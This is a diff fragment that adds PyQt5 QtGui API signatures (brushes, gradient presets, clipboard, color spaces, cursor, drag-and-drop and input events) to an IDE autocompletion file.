+QtGui.QBrush.setTextureImage?4(QImage) +QtGui.QBrush.textureImage?4() -> QImage +QtGui.QBrush.setTransform?4(QTransform) +QtGui.QBrush.transform?4() -> QTransform +QtGui.QBrush.swap?4(QBrush) +QtGui.QGradient.Preset?10 +QtGui.QGradient.Preset.WarmFlame?10 +QtGui.QGradient.Preset.NightFade?10 +QtGui.QGradient.Preset.SpringWarmth?10 +QtGui.QGradient.Preset.JuicyPeach?10 +QtGui.QGradient.Preset.YoungPassion?10 +QtGui.QGradient.Preset.LadyLips?10 +QtGui.QGradient.Preset.SunnyMorning?10 +QtGui.QGradient.Preset.RainyAshville?10 +QtGui.QGradient.Preset.FrozenDreams?10 +QtGui.QGradient.Preset.WinterNeva?10 +QtGui.QGradient.Preset.DustyGrass?10 +QtGui.QGradient.Preset.TemptingAzure?10 +QtGui.QGradient.Preset.HeavyRain?10 +QtGui.QGradient.Preset.AmyCrisp?10 +QtGui.QGradient.Preset.MeanFruit?10 +QtGui.QGradient.Preset.DeepBlue?10 +QtGui.QGradient.Preset.RipeMalinka?10 +QtGui.QGradient.Preset.CloudyKnoxville?10 +QtGui.QGradient.Preset.MalibuBeach?10 +QtGui.QGradient.Preset.NewLife?10 +QtGui.QGradient.Preset.TrueSunset?10 +QtGui.QGradient.Preset.MorpheusDen?10 +QtGui.QGradient.Preset.RareWind?10 +QtGui.QGradient.Preset.NearMoon?10 +QtGui.QGradient.Preset.WildApple?10 +QtGui.QGradient.Preset.SaintPetersburg?10 +QtGui.QGradient.Preset.PlumPlate?10 +QtGui.QGradient.Preset.EverlastingSky?10 +QtGui.QGradient.Preset.HappyFisher?10 +QtGui.QGradient.Preset.Blessing?10 +QtGui.QGradient.Preset.SharpeyeEagle?10 +QtGui.QGradient.Preset.LadogaBottom?10 +QtGui.QGradient.Preset.LemonGate?10 +QtGui.QGradient.Preset.ItmeoBranding?10 +QtGui.QGradient.Preset.ZeusMiracle?10 +QtGui.QGradient.Preset.OldHat?10 +QtGui.QGradient.Preset.StarWine?10 +QtGui.QGradient.Preset.HappyAcid?10 +QtGui.QGradient.Preset.AwesomePine?10 +QtGui.QGradient.Preset.NewYork?10 +QtGui.QGradient.Preset.ShyRainbow?10 +QtGui.QGradient.Preset.MixedHopes?10 +QtGui.QGradient.Preset.FlyHigh?10 +QtGui.QGradient.Preset.StrongBliss?10 +QtGui.QGradient.Preset.FreshMilk?10 +QtGui.QGradient.Preset.SnowAgain?10 +QtGui.QGradient.Preset.FebruaryInk?10 +QtGui.QGradient.Preset.KindSteel?10 +QtGui.QGradient.Preset.SoftGrass?10 +QtGui.QGradient.Preset.GrownEarly?10 +QtGui.QGradient.Preset.SharpBlues?10 +QtGui.QGradient.Preset.ShadyWater?10 +QtGui.QGradient.Preset.DirtyBeauty?10 +QtGui.QGradient.Preset.GreatWhale?10 +QtGui.QGradient.Preset.TeenNotebook?10 +QtGui.QGradient.Preset.PoliteRumors?10 +QtGui.QGradient.Preset.SweetPeriod?10 +QtGui.QGradient.Preset.WideMatrix?10 +QtGui.QGradient.Preset.SoftCherish?10 +QtGui.QGradient.Preset.RedSalvation?10 +QtGui.QGradient.Preset.BurningSpring?10 +QtGui.QGradient.Preset.NightParty?10 +QtGui.QGradient.Preset.SkyGlider?10 +QtGui.QGradient.Preset.HeavenPeach?10 +QtGui.QGradient.Preset.PurpleDivision?10 +QtGui.QGradient.Preset.AquaSplash?10 +QtGui.QGradient.Preset.SpikyNaga?10 +QtGui.QGradient.Preset.LoveKiss?10 +QtGui.QGradient.Preset.CleanMirror?10 +QtGui.QGradient.Preset.PremiumDark?10 +QtGui.QGradient.Preset.ColdEvening?10 +QtGui.QGradient.Preset.CochitiLake?10 +QtGui.QGradient.Preset.SummerGames?10 +QtGui.QGradient.Preset.PassionateBed?10 +QtGui.QGradient.Preset.MountainRock?10 +QtGui.QGradient.Preset.DesertHump?10 +QtGui.QGradient.Preset.JungleDay?10 +QtGui.QGradient.Preset.PhoenixStart?10 +QtGui.QGradient.Preset.OctoberSilence?10 +QtGui.QGradient.Preset.FarawayRiver?10 +QtGui.QGradient.Preset.AlchemistLab?10 +QtGui.QGradient.Preset.OverSun?10 +QtGui.QGradient.Preset.PremiumWhite?10 +QtGui.QGradient.Preset.MarsParty?10 +QtGui.QGradient.Preset.EternalConstance?10 +QtGui.QGradient.Preset.JapanBlush?10 +QtGui.QGradient.Preset.SmilingRain?10 +QtGui.QGradient.Preset.CloudyApple?10 +QtGui.QGradient.Preset.BigMango?10 +QtGui.QGradient.Preset.HealthyWater?10 +QtGui.QGradient.Preset.AmourAmour?10 +QtGui.QGradient.Preset.RiskyConcrete?10 +QtGui.QGradient.Preset.StrongStick?10 +QtGui.QGradient.Preset.ViciousStance?10 +QtGui.QGradient.Preset.PaloAlto?10 +QtGui.QGradient.Preset.HappyMemories?10 +QtGui.QGradient.Preset.MidnightBloom?10 +QtGui.QGradient.Preset.Crystalline?10 +QtGui.QGradient.Preset.PartyBliss?10 +QtGui.QGradient.Preset.ConfidentCloud?10 +QtGui.QGradient.Preset.LeCocktail?10 +QtGui.QGradient.Preset.RiverCity?10 +QtGui.QGradient.Preset.FrozenBerry?10 +QtGui.QGradient.Preset.ChildCare?10 +QtGui.QGradient.Preset.FlyingLemon?10 +QtGui.QGradient.Preset.NewRetrowave?10 +QtGui.QGradient.Preset.HiddenJaguar?10 +QtGui.QGradient.Preset.AboveTheSky?10 +QtGui.QGradient.Preset.Nega?10 +QtGui.QGradient.Preset.DenseWater?10 +QtGui.QGradient.Preset.Seashore?10 +QtGui.QGradient.Preset.MarbleWall?10 +QtGui.QGradient.Preset.CheerfulCaramel?10 +QtGui.QGradient.Preset.NightSky?10 +QtGui.QGradient.Preset.MagicLake?10 +QtGui.QGradient.Preset.YoungGrass?10 +QtGui.QGradient.Preset.ColorfulPeach?10 +QtGui.QGradient.Preset.GentleCare?10 +QtGui.QGradient.Preset.PlumBath?10 +QtGui.QGradient.Preset.HappyUnicorn?10 +QtGui.QGradient.Preset.AfricanField?10 +QtGui.QGradient.Preset.SolidStone?10 +QtGui.QGradient.Preset.OrangeJuice?10 +QtGui.QGradient.Preset.GlassWater?10 +QtGui.QGradient.Preset.NorthMiracle?10 +QtGui.QGradient.Preset.FruitBlend?10 +QtGui.QGradient.Preset.MillenniumPine?10 +QtGui.QGradient.Preset.HighFlight?10 +QtGui.QGradient.Preset.MoleHall?10 +QtGui.QGradient.Preset.SpaceShift?10 +QtGui.QGradient.Preset.ForestInei?10 +QtGui.QGradient.Preset.RoyalGarden?10 +QtGui.QGradient.Preset.RichMetal?10 +QtGui.QGradient.Preset.JuicyCake?10 +QtGui.QGradient.Preset.SmartIndigo?10 +QtGui.QGradient.Preset.SandStrike?10 +QtGui.QGradient.Preset.NorseBeauty?10 +QtGui.QGradient.Preset.AquaGuidance?10 +QtGui.QGradient.Preset.SunVeggie?10 +QtGui.QGradient.Preset.SeaLord?10 +QtGui.QGradient.Preset.BlackSea?10 +QtGui.QGradient.Preset.GrassShampoo?10 +QtGui.QGradient.Preset.LandingAircraft?10 +QtGui.QGradient.Preset.WitchDance?10 +QtGui.QGradient.Preset.SleeplessNight?10 +QtGui.QGradient.Preset.AngelCare?10 +QtGui.QGradient.Preset.CrystalRiver?10 +QtGui.QGradient.Preset.SoftLipstick?10 +QtGui.QGradient.Preset.SaltMountain?10 +QtGui.QGradient.Preset.PerfectWhite?10 +QtGui.QGradient.Preset.FreshOasis?10 +QtGui.QGradient.Preset.StrictNovember?10 +QtGui.QGradient.Preset.MorningSalad?10 +QtGui.QGradient.Preset.DeepRelief?10 +QtGui.QGradient.Preset.SeaStrike?10 +QtGui.QGradient.Preset.NightCall?10 +QtGui.QGradient.Preset.SupremeSky?10 +QtGui.QGradient.Preset.LightBlue?10 +QtGui.QGradient.Preset.MindCrawl?10 +QtGui.QGradient.Preset.LilyMeadow?10 +QtGui.QGradient.Preset.SugarLollipop?10 +QtGui.QGradient.Preset.SweetDessert?10 +QtGui.QGradient.Preset.MagicRay?10 +QtGui.QGradient.Preset.TeenParty?10 +QtGui.QGradient.Preset.FrozenHeat?10 +QtGui.QGradient.Preset.GagarinView?10 +QtGui.QGradient.Preset.FabledSunset?10 +QtGui.QGradient.Preset.PerfectBlue?10 +QtGui.QGradient.Preset.NumPresets?10 +QtGui.QGradient.Spread?10 +QtGui.QGradient.Spread.PadSpread?10 +QtGui.QGradient.Spread.ReflectSpread?10 +QtGui.QGradient.Spread.RepeatSpread?10 +QtGui.QGradient.Type?10 +QtGui.QGradient.Type.LinearGradient?10 +QtGui.QGradient.Type.RadialGradient?10 +QtGui.QGradient.Type.ConicalGradient?10 +QtGui.QGradient.Type.NoGradient?10 +QtGui.QGradient.CoordinateMode?10 +QtGui.QGradient.CoordinateMode.LogicalMode?10 +QtGui.QGradient.CoordinateMode.StretchToDeviceMode?10 +QtGui.QGradient.CoordinateMode.ObjectBoundingMode?10 +QtGui.QGradient.CoordinateMode.ObjectMode?10 +QtGui.QGradient?1() +QtGui.QGradient.__init__?1(self) +QtGui.QGradient?1(QGradient.Preset) +QtGui.QGradient.__init__?1(self, QGradient.Preset) +QtGui.QGradient?1(QGradient) +QtGui.QGradient.__init__?1(self, QGradient) +QtGui.QGradient.type?4() -> QGradient.Type +QtGui.QGradient.spread?4() -> QGradient.Spread +QtGui.QGradient.setColorAt?4(float, QColor) +QtGui.QGradient.setStops?4(unknown-type) +QtGui.QGradient.stops?4() -> unknown-type +QtGui.QGradient.setSpread?4(QGradient.Spread) +QtGui.QGradient.coordinateMode?4() -> QGradient.CoordinateMode +QtGui.QGradient.setCoordinateMode?4(QGradient.CoordinateMode) +QtGui.QLinearGradient?1() +QtGui.QLinearGradient.__init__?1(self) +QtGui.QLinearGradient?1(QPointF, QPointF) +QtGui.QLinearGradient.__init__?1(self, QPointF, QPointF) +QtGui.QLinearGradient?1(float, float, float, float) +QtGui.QLinearGradient.__init__?1(self, float, float, float, float) +QtGui.QLinearGradient?1(QLinearGradient) +QtGui.QLinearGradient.__init__?1(self, QLinearGradient) +QtGui.QLinearGradient.start?4() -> QPointF +QtGui.QLinearGradient.finalStop?4() -> QPointF +QtGui.QLinearGradient.setStart?4(QPointF) +QtGui.QLinearGradient.setStart?4(float, float) +QtGui.QLinearGradient.setFinalStop?4(QPointF) +QtGui.QLinearGradient.setFinalStop?4(float, float) +QtGui.QRadialGradient?1() +QtGui.QRadialGradient.__init__?1(self) +QtGui.QRadialGradient?1(QPointF, float, QPointF) +QtGui.QRadialGradient.__init__?1(self, QPointF, float, QPointF) +QtGui.QRadialGradient?1(QPointF, float, QPointF, float) +QtGui.QRadialGradient.__init__?1(self, QPointF, float, QPointF, float) +QtGui.QRadialGradient?1(QPointF, float) +QtGui.QRadialGradient.__init__?1(self, QPointF, float) +QtGui.QRadialGradient?1(float, float, float, float, float) +QtGui.QRadialGradient.__init__?1(self, float, float, float, float, float) +QtGui.QRadialGradient?1(float, float, float, float, float, float) +QtGui.QRadialGradient.__init__?1(self, float, float, float, float, float, float) +QtGui.QRadialGradient?1(float, float, float) +QtGui.QRadialGradient.__init__?1(self, float, float, float) +QtGui.QRadialGradient?1(QRadialGradient) +QtGui.QRadialGradient.__init__?1(self, QRadialGradient) +QtGui.QRadialGradient.center?4() -> QPointF +QtGui.QRadialGradient.focalPoint?4() -> QPointF +QtGui.QRadialGradient.radius?4() -> float +QtGui.QRadialGradient.setCenter?4(QPointF) +QtGui.QRadialGradient.setCenter?4(float, float) +QtGui.QRadialGradient.setFocalPoint?4(QPointF) +QtGui.QRadialGradient.setFocalPoint?4(float, float) +QtGui.QRadialGradient.setRadius?4(float) +QtGui.QRadialGradient.centerRadius?4() -> float +QtGui.QRadialGradient.setCenterRadius?4(float) +QtGui.QRadialGradient.focalRadius?4() -> float +QtGui.QRadialGradient.setFocalRadius?4(float) +QtGui.QConicalGradient?1() +QtGui.QConicalGradient.__init__?1(self) +QtGui.QConicalGradient?1(QPointF, float) +QtGui.QConicalGradient.__init__?1(self, QPointF, float) +QtGui.QConicalGradient?1(float, float, float) +QtGui.QConicalGradient.__init__?1(self, float, float, float) +QtGui.QConicalGradient?1(QConicalGradient) +QtGui.QConicalGradient.__init__?1(self, QConicalGradient) +QtGui.QConicalGradient.center?4() -> QPointF +QtGui.QConicalGradient.angle?4() -> float +QtGui.QConicalGradient.setCenter?4(QPointF) +QtGui.QConicalGradient.setCenter?4(float, float) +QtGui.QConicalGradient.setAngle?4(float) +QtGui.QClipboard.Mode?10 +QtGui.QClipboard.Mode.Clipboard?10 +QtGui.QClipboard.Mode.Selection?10 +QtGui.QClipboard.Mode.FindBuffer?10 +QtGui.QClipboard.clear?4(QClipboard.Mode mode=QClipboard.Clipboard) +QtGui.QClipboard.supportsFindBuffer?4() -> bool +QtGui.QClipboard.supportsSelection?4() -> bool +QtGui.QClipboard.ownsClipboard?4() -> bool +QtGui.QClipboard.ownsFindBuffer?4() -> bool +QtGui.QClipboard.ownsSelection?4() -> bool +QtGui.QClipboard.text?4(QClipboard.Mode mode=QClipboard.Clipboard) -> QString +QtGui.QClipboard.text?4(QString, QClipboard.Mode mode=QClipboard.Clipboard) -> tuple +QtGui.QClipboard.setText?4(QString, QClipboard.Mode mode=QClipboard.Clipboard) +QtGui.QClipboard.mimeData?4(QClipboard.Mode mode=QClipboard.Clipboard) -> QMimeData +QtGui.QClipboard.setMimeData?4(QMimeData, QClipboard.Mode mode=QClipboard.Clipboard) +QtGui.QClipboard.image?4(QClipboard.Mode mode=QClipboard.Clipboard) -> QImage +QtGui.QClipboard.pixmap?4(QClipboard.Mode mode=QClipboard.Clipboard) -> QPixmap +QtGui.QClipboard.setImage?4(QImage, QClipboard.Mode mode=QClipboard.Clipboard) +QtGui.QClipboard.setPixmap?4(QPixmap, QClipboard.Mode mode=QClipboard.Clipboard) +QtGui.QClipboard.changed?4(QClipboard.Mode) +QtGui.QClipboard.dataChanged?4() +QtGui.QClipboard.findBufferChanged?4() +QtGui.QClipboard.selectionChanged?4() +QtGui.QColorSpace.TransferFunction?10 +QtGui.QColorSpace.TransferFunction.Custom?10 +QtGui.QColorSpace.TransferFunction.Linear?10 +QtGui.QColorSpace.TransferFunction.Gamma?10 +QtGui.QColorSpace.TransferFunction.SRgb?10 +QtGui.QColorSpace.TransferFunction.ProPhotoRgb?10 +QtGui.QColorSpace.Primaries?10 +QtGui.QColorSpace.Primaries.Custom?10 +QtGui.QColorSpace.Primaries.SRgb?10 +QtGui.QColorSpace.Primaries.AdobeRgb?10 +QtGui.QColorSpace.Primaries.DciP3D65?10 +QtGui.QColorSpace.Primaries.ProPhotoRgb?10 +QtGui.QColorSpace.NamedColorSpace?10 +QtGui.QColorSpace.NamedColorSpace.SRgb?10 +QtGui.QColorSpace.NamedColorSpace.SRgbLinear?10 +QtGui.QColorSpace.NamedColorSpace.AdobeRgb?10 +QtGui.QColorSpace.NamedColorSpace.DisplayP3?10 +QtGui.QColorSpace.NamedColorSpace.ProPhotoRgb?10 +QtGui.QColorSpace?1() +QtGui.QColorSpace.__init__?1(self) +QtGui.QColorSpace?1(QColorSpace.NamedColorSpace) +QtGui.QColorSpace.__init__?1(self, QColorSpace.NamedColorSpace) +QtGui.QColorSpace?1(QColorSpace.Primaries, QColorSpace.TransferFunction, float gamma=0) +QtGui.QColorSpace.__init__?1(self, QColorSpace.Primaries, QColorSpace.TransferFunction, float gamma=0) +QtGui.QColorSpace?1(QColorSpace.Primaries, float) +QtGui.QColorSpace.__init__?1(self, QColorSpace.Primaries, float) +QtGui.QColorSpace?1(QPointF, QPointF, QPointF, QPointF, QColorSpace.TransferFunction, float gamma=0) +QtGui.QColorSpace.__init__?1(self, QPointF, QPointF, QPointF, QPointF, QColorSpace.TransferFunction, float gamma=0) +QtGui.QColorSpace?1(QColorSpace) +QtGui.QColorSpace.__init__?1(self, QColorSpace) +QtGui.QColorSpace.swap?4(QColorSpace) +QtGui.QColorSpace.primaries?4() -> QColorSpace.Primaries +QtGui.QColorSpace.transferFunction?4() -> QColorSpace.TransferFunction +QtGui.QColorSpace.gamma?4() -> float +QtGui.QColorSpace.setTransferFunction?4(QColorSpace.TransferFunction, float gamma=0) +QtGui.QColorSpace.withTransferFunction?4(QColorSpace.TransferFunction, float gamma=0) -> QColorSpace +QtGui.QColorSpace.setPrimaries?4(QColorSpace.Primaries) +QtGui.QColorSpace.setPrimaries?4(QPointF, QPointF, QPointF, QPointF) +QtGui.QColorSpace.isValid?4() -> bool +QtGui.QColorSpace.fromIccProfile?4(QByteArray) -> QColorSpace +QtGui.QColorSpace.iccProfile?4() -> QByteArray +QtGui.QColorSpace.transformationToColorSpace?4(QColorSpace) -> QColorTransform +QtGui.QColorTransform?1() +QtGui.QColorTransform.__init__?1(self) +QtGui.QColorTransform?1(QColorTransform) +QtGui.QColorTransform.__init__?1(self, QColorTransform) +QtGui.QColorTransform.swap?4(QColorTransform) +QtGui.QColorTransform.map?4(int) -> int +QtGui.QColorTransform.map?4(QRgba64) -> QRgba64 +QtGui.QColorTransform.map?4(QColor) -> QColor +QtGui.QCursor?1() +QtGui.QCursor.__init__?1(self) +QtGui.QCursor?1(QBitmap, QBitmap, int hotX=-1, int hotY=-1) +QtGui.QCursor.__init__?1(self, QBitmap, QBitmap, int hotX=-1, int hotY=-1) +QtGui.QCursor?1(QPixmap, int hotX=-1, int hotY=-1) +QtGui.QCursor.__init__?1(self, QPixmap, int hotX=-1, int hotY=-1) +QtGui.QCursor?1(QCursor) +QtGui.QCursor.__init__?1(self, QCursor) +QtGui.QCursor?1(QVariant) +QtGui.QCursor.__init__?1(self, QVariant) +QtGui.QCursor.shape?4() -> Qt.CursorShape +QtGui.QCursor.setShape?4(Qt.CursorShape) +QtGui.QCursor.bitmap?4() -> QBitmap +QtGui.QCursor.mask?4() -> QBitmap +QtGui.QCursor.pixmap?4() -> QPixmap +QtGui.QCursor.hotSpot?4() -> QPoint +QtGui.QCursor.pos?4() -> QPoint +QtGui.QCursor.setPos?4(int, int) +QtGui.QCursor.setPos?4(QPoint) +QtGui.QCursor.pos?4(QScreen) -> QPoint +QtGui.QCursor.setPos?4(QScreen, int, int) +QtGui.QCursor.setPos?4(QScreen, QPoint) +QtGui.QCursor.swap?4(QCursor) +QtGui.QDesktopServices?1() +QtGui.QDesktopServices.__init__?1(self) +QtGui.QDesktopServices?1(QDesktopServices) +QtGui.QDesktopServices.__init__?1(self, QDesktopServices) +QtGui.QDesktopServices.openUrl?4(QUrl) -> bool +QtGui.QDesktopServices.setUrlHandler?4(QString, QObject, str) +QtGui.QDesktopServices.setUrlHandler?4(QString, callable) +QtGui.QDesktopServices.unsetUrlHandler?4(QString) +QtGui.QDrag?1(QObject) +QtGui.QDrag.__init__?1(self, QObject) +QtGui.QDrag.exec_?4(Qt.DropActions supportedActions=Qt.MoveAction) -> Qt.DropAction +QtGui.QDrag.exec?4(Qt.DropActions supportedActions=Qt.MoveAction) -> Qt.DropAction +QtGui.QDrag.exec_?4(Qt.DropActions, Qt.DropAction) -> Qt.DropAction +QtGui.QDrag.exec?4(Qt.DropActions, Qt.DropAction) -> Qt.DropAction +QtGui.QDrag.setMimeData?4(QMimeData) +QtGui.QDrag.mimeData?4() -> QMimeData +QtGui.QDrag.setPixmap?4(QPixmap) +QtGui.QDrag.pixmap?4() -> QPixmap +QtGui.QDrag.setHotSpot?4(QPoint) +QtGui.QDrag.hotSpot?4() -> QPoint +QtGui.QDrag.source?4() -> QObject +QtGui.QDrag.target?4() -> QObject +QtGui.QDrag.setDragCursor?4(QPixmap, Qt.DropAction) +QtGui.QDrag.actionChanged?4(Qt.DropAction) +QtGui.QDrag.targetChanged?4(QObject) +QtGui.QDrag.dragCursor?4(Qt.DropAction) -> QPixmap +QtGui.QDrag.supportedActions?4() -> Qt.DropActions +QtGui.QDrag.defaultAction?4() -> Qt.DropAction +QtGui.QDrag.cancel?4() +QtGui.QInputEvent.modifiers?4() -> Qt.KeyboardModifiers +QtGui.QInputEvent.timestamp?4() -> int +QtGui.QInputEvent.setTimestamp?4(int) +QtGui.QMouseEvent?1(QEvent.Type, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QMouseEvent.__init__?1(self, QEvent.Type, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QMouseEvent?1(QEvent.Type, QPointF, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QMouseEvent.__init__?1(self, QEvent.Type, QPointF, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QMouseEvent?1(QEvent.Type, QPointF, QPointF, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QMouseEvent.__init__?1(self, QEvent.Type, QPointF, QPointF, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QMouseEvent?1(QEvent.Type, QPointF, QPointF, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.MouseEventSource) +QtGui.QMouseEvent.__init__?1(self, QEvent.Type, QPointF, QPointF, QPointF, Qt.MouseButton, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.MouseEventSource) +QtGui.QMouseEvent?1(QMouseEvent) +QtGui.QMouseEvent.__init__?1(self, QMouseEvent) +QtGui.QMouseEvent.pos?4() -> QPoint +QtGui.QMouseEvent.globalPos?4() -> QPoint +QtGui.QMouseEvent.x?4() -> int +QtGui.QMouseEvent.y?4() -> int +QtGui.QMouseEvent.globalX?4() -> int +QtGui.QMouseEvent.globalY?4() -> int +QtGui.QMouseEvent.button?4() -> Qt.MouseButton +QtGui.QMouseEvent.buttons?4() -> Qt.MouseButtons +QtGui.QMouseEvent.localPos?4() -> QPointF +QtGui.QMouseEvent.windowPos?4() -> QPointF +QtGui.QMouseEvent.screenPos?4() -> QPointF +QtGui.QMouseEvent.source?4() -> Qt.MouseEventSource +QtGui.QMouseEvent.flags?4() -> Qt.MouseEventFlags +QtGui.QHoverEvent?1(QEvent.Type, QPointF, QPointF, Qt.KeyboardModifiers modifiers=Qt.NoModifier) +QtGui.QHoverEvent.__init__?1(self, QEvent.Type, QPointF, QPointF, Qt.KeyboardModifiers modifiers=Qt.NoModifier) +QtGui.QHoverEvent?1(QHoverEvent) +QtGui.QHoverEvent.__init__?1(self, QHoverEvent) +QtGui.QHoverEvent.pos?4() -> QPoint +QtGui.QHoverEvent.oldPos?4() -> QPoint +QtGui.QHoverEvent.posF?4() -> QPointF +QtGui.QHoverEvent.oldPosF?4() -> QPointF +QtGui.QWheelEvent?1(QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QWheelEvent.__init__?1(self, QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QWheelEvent?1(QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase) +QtGui.QWheelEvent.__init__?1(self, QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase) +QtGui.QWheelEvent?1(QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase, Qt.MouseEventSource) +QtGui.QWheelEvent.__init__?1(self, QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase, Qt.MouseEventSource) +QtGui.QWheelEvent?1(QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase, Qt.MouseEventSource, bool) +QtGui.QWheelEvent.__init__?1(self, QPointF, QPointF, QPoint, QPoint, int, Qt.Orientation, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase, Qt.MouseEventSource, bool) +QtGui.QWheelEvent?1(QPointF, QPointF, QPoint, QPoint, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase, bool, Qt.MouseEventSource source=Qt.MouseEventNotSynthesized) +QtGui.QWheelEvent.__init__?1(self, QPointF, QPointF, QPoint, QPoint, Qt.MouseButtons, Qt.KeyboardModifiers, Qt.ScrollPhase, bool, Qt.MouseEventSource source=Qt.MouseEventNotSynthesized) +QtGui.QWheelEvent?1(QWheelEvent) +QtGui.QWheelEvent.__init__?1(self, QWheelEvent) +QtGui.QWheelEvent.pos?4() -> QPoint +QtGui.QWheelEvent.globalPos?4() -> QPoint +QtGui.QWheelEvent.x?4() -> int +QtGui.QWheelEvent.y?4() -> int +QtGui.QWheelEvent.globalX?4() -> int +QtGui.QWheelEvent.globalY?4() -> int +QtGui.QWheelEvent.buttons?4() -> Qt.MouseButtons +QtGui.QWheelEvent.pixelDelta?4() -> QPoint +QtGui.QWheelEvent.angleDelta?4() -> QPoint +QtGui.QWheelEvent.posF?4() -> QPointF +QtGui.QWheelEvent.globalPosF?4() -> QPointF +QtGui.QWheelEvent.phase?4() -> Qt.ScrollPhase +QtGui.QWheelEvent.source?4() -> Qt.MouseEventSource +QtGui.QWheelEvent.inverted?4() -> bool +QtGui.QWheelEvent.position?4() -> QPointF +QtGui.QWheelEvent.globalPosition?4() -> QPointF +QtGui.QTabletEvent.PointerType?10 +QtGui.QTabletEvent.PointerType.UnknownPointer?10 +QtGui.QTabletEvent.PointerType.Pen?10 +QtGui.QTabletEvent.PointerType.Cursor?10 +QtGui.QTabletEvent.PointerType.Eraser?10 +QtGui.QTabletEvent.TabletDevice?10 +QtGui.QTabletEvent.TabletDevice.NoDevice?10 +QtGui.QTabletEvent.TabletDevice.Puck?10 +QtGui.QTabletEvent.TabletDevice.Stylus?10 +QtGui.QTabletEvent.TabletDevice.Airbrush?10 +QtGui.QTabletEvent.TabletDevice.FourDMouse?10 +QtGui.QTabletEvent.TabletDevice.XFreeEraser?10 +QtGui.QTabletEvent.TabletDevice.RotationStylus?10 +QtGui.QTabletEvent?1(QEvent.Type, QPointF, QPointF, int, int, float, int, int, float, float, int, Qt.KeyboardModifiers, int, Qt.MouseButton, Qt.MouseButtons) +QtGui.QTabletEvent.__init__?1(self, QEvent.Type, QPointF, QPointF, int, int, float, int, int, float, float, int, Qt.KeyboardModifiers, int, Qt.MouseButton, Qt.MouseButtons) +QtGui.QTabletEvent?1(QEvent.Type, QPointF, QPointF, int, int, float, int, int, float, float, int, Qt.KeyboardModifiers, int) +QtGui.QTabletEvent.__init__?1(self, QEvent.Type, QPointF, QPointF, int, int, float, int, int, float, float, int, Qt.KeyboardModifiers, int) +QtGui.QTabletEvent?1(QTabletEvent) +QtGui.QTabletEvent.__init__?1(self, QTabletEvent) +QtGui.QTabletEvent.pos?4() -> QPoint +QtGui.QTabletEvent.globalPos?4() -> QPoint +QtGui.QTabletEvent.x?4() -> int +QtGui.QTabletEvent.y?4() -> int +QtGui.QTabletEvent.globalX?4() -> int +QtGui.QTabletEvent.globalY?4() -> int +QtGui.QTabletEvent.hiResGlobalX?4() -> float +QtGui.QTabletEvent.hiResGlobalY?4() -> float +QtGui.QTabletEvent.device?4() -> QTabletEvent.TabletDevice +QtGui.QTabletEvent.pointerType?4() -> QTabletEvent.PointerType +QtGui.QTabletEvent.uniqueId?4() -> int +QtGui.QTabletEvent.pressure?4() -> float +QtGui.QTabletEvent.z?4() -> int +QtGui.QTabletEvent.tangentialPressure?4() -> float +QtGui.QTabletEvent.rotation?4() -> float +QtGui.QTabletEvent.xTilt?4() -> int +QtGui.QTabletEvent.yTilt?4() -> int +QtGui.QTabletEvent.posF?4() -> QPointF +QtGui.QTabletEvent.globalPosF?4() -> QPointF +QtGui.QTabletEvent.button?4() -> Qt.MouseButton +QtGui.QTabletEvent.buttons?4() -> Qt.MouseButtons +QtGui.QTabletEvent.deviceType?4() -> QTabletEvent.TabletDevice +QtGui.QKeyEvent?1(QEvent.Type, int, Qt.KeyboardModifiers, int, int, int, QString text='', bool autorep=False, int count=1) +QtGui.QKeyEvent.__init__?1(self, QEvent.Type, int, Qt.KeyboardModifiers, int, int, int, QString text='', bool autorep=False, int count=1) +QtGui.QKeyEvent?1(QEvent.Type, int, Qt.KeyboardModifiers, QString text='', bool autorep=False, int count=1) +QtGui.QKeyEvent.__init__?1(self, QEvent.Type, int, Qt.KeyboardModifiers, QString text='', bool autorep=False, int count=1) +QtGui.QKeyEvent?1(QKeyEvent) +QtGui.QKeyEvent.__init__?1(self, QKeyEvent) +QtGui.QKeyEvent.key?4() -> int +QtGui.QKeyEvent.modifiers?4() -> Qt.KeyboardModifiers +QtGui.QKeyEvent.text?4() -> QString +QtGui.QKeyEvent.isAutoRepeat?4() -> bool +QtGui.QKeyEvent.count?4() -> int +QtGui.QKeyEvent.matches?4(QKeySequence.StandardKey) -> bool +QtGui.QKeyEvent.nativeModifiers?4() -> int +QtGui.QKeyEvent.nativeScanCode?4() -> int +QtGui.QKeyEvent.nativeVirtualKey?4() -> int +QtGui.QFocusEvent?1(QEvent.Type, Qt.FocusReason reason=Qt.OtherFocusReason) +QtGui.QFocusEvent.__init__?1(self, QEvent.Type, Qt.FocusReason reason=Qt.OtherFocusReason) +QtGui.QFocusEvent?1(QFocusEvent) +QtGui.QFocusEvent.__init__?1(self, QFocusEvent) +QtGui.QFocusEvent.gotFocus?4() -> bool +QtGui.QFocusEvent.lostFocus?4() -> bool +QtGui.QFocusEvent.reason?4() -> Qt.FocusReason +QtGui.QPaintEvent?1(QRegion) +QtGui.QPaintEvent.__init__?1(self, QRegion) 